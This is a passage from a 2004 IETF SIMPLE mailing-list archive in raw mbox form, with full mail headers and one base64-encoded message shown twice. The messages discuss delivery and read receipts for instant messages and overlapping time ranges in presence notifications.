List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 22:54:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: base64

Q29tbW9uIHNjZW5hcmlvOg0KWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMg
dGhlIG1lc3NhZ2UsIGZvcndhcmRzIGl0IHRvIG1lLCBJIHJlYWQgaXQuICBJcyBteSBkZXZpY2Ug
Z29pbmcgdG8gc2VuZCB5b3UgdHdvIG1lc3NhZ2VzLCBhIHByb3Zpc2lvbmFsIE1ETiBzYXlpbmcg
SSBnb3QgdGhlIG1lc3NhZ2UgYW5kIGEgZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhlIG1lc3Nh
Z2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiBteSBkZXZpY2UgZ290IHRoZSBtZXNzYWdlPw0K
DQoNCkxpa2VseSBTY2VuYXJpbzoNCllvdSBzZW5kIG1lIGFuIElNLiAgTXkgZGV2aWNlIHJlY2Vp
dmVzIHRoZSBtZXNzYWdlLCBjcmVhdGVzIGEgcHJvdmlzaW9uYWwgTUROLCBiZWNhdXNlIG15IGRl
dmljZSBpcyBvbmxpbmUuICBUaGUgTUROIHNheXMgdGhlIHJlbGF5IGhhcyByZWNlaXZlZCB0aGUg
bWVzc2FnZSwgYnV0IGhhcyBub3QgZGVsaXZlcmVkIGl0Lg0KDQpVbmZvcnR1bmF0ZWx5LCBJJ3Zl
IHR1cm5lZCBvZmYgbXkgZGV2aWNlLCBiZWNhdXNlIEkgYW0gZ29pbmcgdG8gS29yZWEgZm9yIGEg
d2Vlay4NCg0KQXJlIHlvdSBzdWdnZXN0aW5nIHRoZSBJTSByZWxheSBzaG91bGQgb3BlbiBhIHNl
c3Npb24gbW9kZSBjb25uZWN0aW9uIGFuZCBsZWF2ZSBpdCB1cCBmb3IgYSB3ZWVrIHVudGlsIEkg
Z2V0IGJhY2s/DQoNCg0KDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTog
Q2hyaXMgQm91bHRvbiBbbWFpbHRvOmNib3VsdG9uQHViaXF1aXR5LmNvbV0NCj4gU2VudDogTW9u
ZGF5LCBNYXJjaCAwMSwgMjAwNCAyOjAxIEFNDQo+IFRvOiBQYXVsIEt5eml2YXQ7IEVyaWMgQnVy
Z2VyDQo+IENjOiBzaW1wbGVAaWV0Zi5vcmcNCj4gU3ViamVjdDogUkU6IFtTaW1wbGVdIFJFOiBB
ZHZhbmNlZCBJTSByZXF1aXJlbWVudHMNCj4gDQo+IA0KPiAgDQo+IA0KPiAJLS0tLS1PcmlnaW5h
bCBNZXNzYWdlLS0tLS0gDQo+IAlGcm9tOiBQYXVsIEt5eml2YXQgW21haWx0bzpwa3l6aXZhdEBj
aXNjby5jb21dIA0KPiAJU2VudDogTW9uIDAxLzAzLzIwMDQgMDY6NDQgDQo+IAlUbzogRXJpYyBC
dXJnZXIgDQo+IAlDYzogc2ltcGxlQGlldGYub3JnIA0KPiAJU3ViamVjdDogUmU6IFtTaW1wbGVd
IFJFOiBBZHZhbmNlZCBJTSByZXF1aXJlbWVudHMNCj4gCQ0KPiAJDQo+IA0KPiANCj4gDQo+IAlF
cmljIEJ1cmdlciB3cm90ZToNCj4gCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhpZ2hsaWdodHMg
d2h5IElNRE4gaXMgYXQgdGhlIA0KPiBDUElNLCBhbmQgbm90IFNJUCwgbGV2ZWwuDQo+IAk+DQo+
IAk+IEZ1cnRoZXIsIHdoYXQgaXMgdGhlIHVzZSBjYXNlIGZvciBNRE4gaW4gc2Vzc2lvbiANCj4g
bW9kZT8gIFdvdWxkIGFueW9uZSBFVkVSIHVzZSBpdD8gIEkgZG91YnQgaXQ6IGlmIHlvdSBhcmUg
aW4gYSANCj4gc2Vzc2lvbiwgcHJlc3VtYWJseSB5b3UgYXJlIGludGVyYWN0aXZlLCB3aGljaCBt
ZWFucyB5b3UgaGF2ZSANCj4gT09CIG1ldGhvZHMgZm9yIGtub3dpbmcgdGhlIG1lc3NhZ2Ugd2Fz
bid0IHJlYWQgKGUuZy4sIG5vIA0KPiByZXNwb25zZSBmcm9tIHRoZSBvdGhlciBwZXJzb24pLg0K
PiAJDQo+IAlJIGFncmVlIGl0IGRvZXNuJ3Qgc2VlbSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1h
bGx5IA0KPiB3b3VsZCBiZSB1c2VkLiBCdXQNCj4gCXRoZXJlIG1heSBiZSBzb21lIGNhc2VzLiBJ
IG1heSB3YW50IGV4cGxpY2l0IGNvbmZpcm1hdGlvbiB0aGF0IGENCj4gCXBhcnRpY3VsYXIgbWVz
c2FnZSBoYXMgbm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCANCj4gcmVhZC4gKFRoaXMgbWln
aHQNCj4gCXJlcXVpcmUgdGhlIFVBUyB0byBkZW1hbmQgc29tZSBleHBsaWNpdCBjb25maXJtYXRp
b24gDQo+IGZyb20gdGhlIGVuZCB1c2VyDQo+IAliZWZvcmUgc2VuZGluZyB0aGUgY29uZmlybWF0
aW9uLikNCj4gDQo+IAk8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5seSB0aGUgcmVhc29uIEkgYWxs
b3dlZCBmb3IgDQo+IG1vcmUgdGhhbiBvbmUgcmVjZWlwdCBwZXIgdHJhbnNhY3Rpb24uICBUaGUg
bm90aW9uIG9mIA0KPiBkZWxpZXZlcnkgKyByZWFkIHJlY2VpcHRzIGlzIHNvbWV0aGluZyB0aGF0
IGlzIHF1aXRlIA0KPiBiZW5lZmljaWFsICsgY29waWVzIGN1cnJlbnQgU01TLiANCj4gDQo+IAkN
Cj4gCQ0KPiAJQW5vdGhlciBjYXNlIGlzIHdpdGggYW4gSU0gY29uZmVyZW5jZS4gSWYgSSBzZW5k
IGEgDQo+IG1lc3NhZ2UgdG8gdGhlIG1peGVyLA0KPiAJcmVxdWVzdGluZyBjb25maXJtYXRpb24s
IGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbiANCj4gZW5kLXRvLWFsbC1lbmRzDQo+IAljb25maXJt
YXRpb24uIFRoZSBtaXhlciB3b3VsZCBoYXZlIHRvIHJlcXVlc3QgYW5kIA0KPiByZWNlaXZlIGNv
bmZpcm1hdGlvbg0KPiAJZnJvbSBhbGwgcmVjaXBpZW50cyBiZWZvcmUgY29uZmlybWluZyB0byBz
ZW5kZXIuDQo+IAkNCj4gCT4gR2l2ZW4gdGhhdCBhc3NlcnRpb24sIGNhbiB3ZSBzYXkgSU1ETidz
IGFyZSBwYWdlIG1vZGUgDQo+IG1lc3NhZ2VzLg0KPiAJDQo+IAlCYXNlZCBvbiBhYm92ZSwgSSBz
YXkgTk8uDQo+IA0KPiAJPDxDSkI+PiBTb3JyeSBQYXVsLCBJJ20gd2l0aCBFcmljIGFuZCBzdGls
bCBqdXN0IGRvbid0IA0KPiBzZWUgd2hlbiB0aGlzIHdvdWxkIGJlIHVzZWQuDQo+IAkNCj4gCSAg
ICAgICAgUGF1bA0KPiAJDQo+IAkNCj4gCV9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fDQo+IAlTaW1wbGUgbWFpbGluZyBsaXN0DQo+IAlTaW1wbGVAaWV0Zi5v
cmcNCj4gCWh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZSANCj4g
PGh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZT4gDQo+IAkNCj4g
DQo+IA0KPiANCj4gVGhpcyBtZXNzYWdlIGhhcyBiZWVuIHNjYW5uZWQgZm9yIHZpcnVzZXMgYnkg
TWFpbENvbnRyb2wgLSANCnd3dy5tYWlsY29udHJvbC5jb20NCkop6ZqKWFgoV3oIbT8MMCd+ZmZY
Kd+jIl4NCg==


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 22:59:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27348
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 22:59:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNXP-0002u1-L0
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 22:59:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i233xFEs011151
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 22:59:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNXP-0002tm-Gy
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 22:59:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27338
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 22:59:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNXL-00074o-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 22:59:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyNWF-0006vn-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 22:58:04 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNVH-0006mn-00; Tue, 02 Mar 2004 22:57:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyNVJ-0001es-2h; Tue, 02 Mar 2004 22:57:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNVF-0002a4-42; Tue, 02 Mar 2004 22:57:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNUd-0002YU-JC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 22:56:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27178
	for <simple@ietf.org>; Tue, 2 Mar 2004 22:56:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNUa-0006fB-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:56:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyNTY-0006W8-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:55:17 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AyNT9-0006Md-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:54:51 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7464; Tue, 02 Mar 2004 22:54:16 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A26F@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjA=
From: "Eric Burger" <eburger@snowshore.com>
To: "Chris Boulton" <cboulton@ubiquity.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 22:54:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

Q29tbW9uIHNjZW5hcmlvOg0KWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMg
dGhlIG1lc3NhZ2UsIGZvcndhcmRzIGl0IHRvIG1lLCBJIHJlYWQgaXQuICBJcyBteSBkZXZpY2Ug
Z29pbmcgdG8gc2VuZCB5b3UgdHdvIG1lc3NhZ2VzLCBhIHByb3Zpc2lvbmFsIE1ETiBzYXlpbmcg
SSBnb3QgdGhlIG1lc3NhZ2UgYW5kIGEgZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhlIG1lc3Nh
Z2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiBteSBkZXZpY2UgZ290IHRoZSBtZXNzYWdlPw0K
DQoNCkxpa2VseSBTY2VuYXJpbzoNCllvdSBzZW5kIG1lIGFuIElNLiAgTXkgZGV2aWNlIHJlY2Vp
dmVzIHRoZSBtZXNzYWdlLCBjcmVhdGVzIGEgcHJvdmlzaW9uYWwgTUROLCBiZWNhdXNlIG15IGRl
dmljZSBpcyBvbmxpbmUuICBUaGUgTUROIHNheXMgdGhlIHJlbGF5IGhhcyByZWNlaXZlZCB0aGUg
bWVzc2FnZSwgYnV0IGhhcyBub3QgZGVsaXZlcmVkIGl0Lg0KDQpVbmZvcnR1bmF0ZWx5LCBJJ3Zl
IHR1cm5lZCBvZmYgbXkgZGV2aWNlLCBiZWNhdXNlIEkgYW0gZ29pbmcgdG8gS29yZWEgZm9yIGEg
d2Vlay4NCg0KQXJlIHlvdSBzdWdnZXN0aW5nIHRoZSBJTSByZWxheSBzaG91bGQgb3BlbiBhIHNl
c3Npb24gbW9kZSBjb25uZWN0aW9uIGFuZCBsZWF2ZSBpdCB1cCBmb3IgYSB3ZWVrIHVudGlsIEkg
Z2V0IGJhY2s/DQoNCg0KDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTog
Q2hyaXMgQm91bHRvbiBbbWFpbHRvOmNib3VsdG9uQHViaXF1aXR5LmNvbV0NCj4gU2VudDogTW9u
ZGF5LCBNYXJjaCAwMSwgMjAwNCAyOjAxIEFNDQo+IFRvOiBQYXVsIEt5eml2YXQ7IEVyaWMgQnVy
Z2VyDQo+IENjOiBzaW1wbGVAaWV0Zi5vcmcNCj4gU3ViamVjdDogUkU6IFtTaW1wbGVdIFJFOiBB
ZHZhbmNlZCBJTSByZXF1aXJlbWVudHMNCj4gDQo+IA0KPiAgDQo+IA0KPiAJLS0tLS1PcmlnaW5h
bCBNZXNzYWdlLS0tLS0gDQo+IAlGcm9tOiBQYXVsIEt5eml2YXQgW21haWx0bzpwa3l6aXZhdEBj
aXNjby5jb21dIA0KPiAJU2VudDogTW9uIDAxLzAzLzIwMDQgMDY6NDQgDQo+IAlUbzogRXJpYyBC
dXJnZXIgDQo+IAlDYzogc2ltcGxlQGlldGYub3JnIA0KPiAJU3ViamVjdDogUmU6IFtTaW1wbGVd
IFJFOiBBZHZhbmNlZCBJTSByZXF1aXJlbWVudHMNCj4gCQ0KPiAJDQo+IA0KPiANCj4gDQo+IAlF
cmljIEJ1cmdlciB3cm90ZToNCj4gCT4gSSBhZ3JlZS4gIEFnYWluLCB0aGlzIGhpZ2hsaWdodHMg
d2h5IElNRE4gaXMgYXQgdGhlIA0KPiBDUElNLCBhbmQgbm90IFNJUCwgbGV2ZWwuDQo+IAk+DQo+
IAk+IEZ1cnRoZXIsIHdoYXQgaXMgdGhlIHVzZSBjYXNlIGZvciBNRE4gaW4gc2Vzc2lvbiANCj4g
bW9kZT8gIFdvdWxkIGFueW9uZSBFVkVSIHVzZSBpdD8gIEkgZG91YnQgaXQ6IGlmIHlvdSBhcmUg
aW4gYSANCj4gc2Vzc2lvbiwgcHJlc3VtYWJseSB5b3UgYXJlIGludGVyYWN0aXZlLCB3aGljaCBt
ZWFucyB5b3UgaGF2ZSANCj4gT09CIG1ldGhvZHMgZm9yIGtub3dpbmcgdGhlIG1lc3NhZ2Ugd2Fz
bid0IHJlYWQgKGUuZy4sIG5vIA0KPiByZXNwb25zZSBmcm9tIHRoZSBvdGhlciBwZXJzb24pLg0K
PiAJDQo+IAlJIGFncmVlIGl0IGRvZXNuJ3Qgc2VlbSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1h
bGx5IA0KPiB3b3VsZCBiZSB1c2VkLiBCdXQNCj4gCXRoZXJlIG1heSBiZSBzb21lIGNhc2VzLiBJ
IG1heSB3YW50IGV4cGxpY2l0IGNvbmZpcm1hdGlvbiB0aGF0IGENCj4gCXBhcnRpY3VsYXIgbWVz
c2FnZSBoYXMgbm90IG9ubHkgYmVlbiBkZWxpdmVyZWQsIGJ1dCANCj4gcmVhZC4gKFRoaXMgbWln
aHQNCj4gCXJlcXVpcmUgdGhlIFVBUyB0byBkZW1hbmQgc29tZSBleHBsaWNpdCBjb25maXJtYXRp
b24gDQo+IGZyb20gdGhlIGVuZCB1c2VyDQo+IAliZWZvcmUgc2VuZGluZyB0aGUgY29uZmlybWF0
aW9uLikNCj4gDQo+IAk8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5seSB0aGUgcmVhc29uIEkgYWxs
b3dlZCBmb3IgDQo+IG1vcmUgdGhhbiBvbmUgcmVjZWlwdCBwZXIgdHJhbnNhY3Rpb24uICBUaGUg
bm90aW9uIG9mIA0KPiBkZWxpZXZlcnkgKyByZWFkIHJlY2VpcHRzIGlzIHNvbWV0aGluZyB0aGF0
IGlzIHF1aXRlIA0KPiBiZW5lZmljaWFsICsgY29waWVzIGN1cnJlbnQgU01TLiANCj4gDQo+IAkN
Cj4gCQ0KPiAJQW5vdGhlciBjYXNlIGlzIHdpdGggYW4gSU0gY29uZmVyZW5jZS4gSWYgSSBzZW5k
IGEgDQo+IG1lc3NhZ2UgdG8gdGhlIG1peGVyLA0KPiAJcmVxdWVzdGluZyBjb25maXJtYXRpb24s
IGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbiANCj4gZW5kLXRvLWFsbC1lbmRzDQo+IAljb25maXJt
YXRpb24uIFRoZSBtaXhlciB3b3VsZCBoYXZlIHRvIHJlcXVlc3QgYW5kIA0KPiByZWNlaXZlIGNv
bmZpcm1hdGlvbg0KPiAJZnJvbSBhbGwgcmVjaXBpZW50cyBiZWZvcmUgY29uZmlybWluZyB0byBz
ZW5kZXIuDQo+IAkNCj4gCT4gR2l2ZW4gdGhhdCBhc3NlcnRpb24sIGNhbiB3ZSBzYXkgSU1ETidz
IGFyZSBwYWdlIG1vZGUgDQo+IG1lc3NhZ2VzLg0KPiAJDQo+IAlCYXNlZCBvbiBhYm92ZSwgSSBz
YXkgTk8uDQo+IA0KPiAJPDxDSkI+PiBTb3JyeSBQYXVsLCBJJ20gd2l0aCBFcmljIGFuZCBzdGls
bCBqdXN0IGRvbid0IA0KPiBzZWUgd2hlbiB0aGlzIHdvdWxkIGJlIHVzZWQuDQo+IAkNCj4gCSAg
ICAgICAgUGF1bA0KPiAJDQo+IAkNCj4gCV9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fDQo+IAlTaW1wbGUgbWFpbGluZyBsaXN0DQo+IAlTaW1wbGVAaWV0Zi5v
cmcNCj4gCWh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZSANCj4g
PGh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZT4gDQo+IAkNCj4g
DQo+IA0KPiANCj4gVGhpcyBtZXNzYWdlIGhhcyBiZWVuIHNjYW5uZWQgZm9yIHZpcnVzZXMgYnkg
TWFpbENvbnRyb2wgLSANCnd3dy5tYWlsY29udHJvbC5jb20NCkop6ZqKWFgoV3oIbT8MMCd+ZmZY
Kd+jIl4NCg==


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 00:08:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01522
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 00:08:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOc0-0002V0-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:08:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOb2-0002KX-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:07:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOaA-0002BU-00; Wed, 03 Mar 2004 00:06:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOa2-0003H4-1S; Wed, 03 Mar 2004 00:06:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOZ8-0003Ei-MK
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:05:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01357
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:05:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOZ6-00021Q-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:05:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOYF-0001sa-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:04:12 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOXa-0001kb-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:03:30 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i2353GGT009038
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:03:18 -0500 (EST)
Message-ID: <4045671A.4090903@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com> <40435205.1040007@dynamicsoft.com> <4044163D.8090302@cisco.com>
In-Reply-To: <4044163D.8090302@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:03:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

It is quite common that calendars have overlapping appointments, due to 
user error, intent to leave early or optimism that one appointment will 
end earlier as scheduled. I don't see how a PA can resolve what a human 
cannot or chose not to.

Paul Kyzivat wrote:

>> I suppose we could just mandate that the PA only generate 
>> notifications with non-overlapping intervals. This forces the PA to do 
>> any kind of precedence computations. I think the PA is the only one 
>> that can do it.
> 
> 
> Your example of overlapping time ranges for orthogonal attributes is a 
> good one. I don't think we would want to forbid that.
> 
> But maybe we could forbid overlapping time ranges containing an instance 
> of the same element.
> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 00:08:38 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01631
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 00:08:38 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOc6-0003vw-9N
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 00:08:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2358928015114
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 00:08:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOc4-0003vZ-4m
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 00:08:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01542
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 00:08:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOc1-0002V5-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:08:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOb3-0002Ke-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:07:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOaA-0002BU-00; Wed, 03 Mar 2004 00:06:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOa2-0003H4-1S; Wed, 03 Mar 2004 00:06:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyOZ8-0003Ei-MK
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:05:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01357
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:05:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOZ6-00021Q-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:05:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyOYF-0001sa-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:04:12 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyOXa-0001kb-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:03:30 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i2353GGT009038
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:03:18 -0500 (EST)
Message-ID: <4045671A.4090903@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
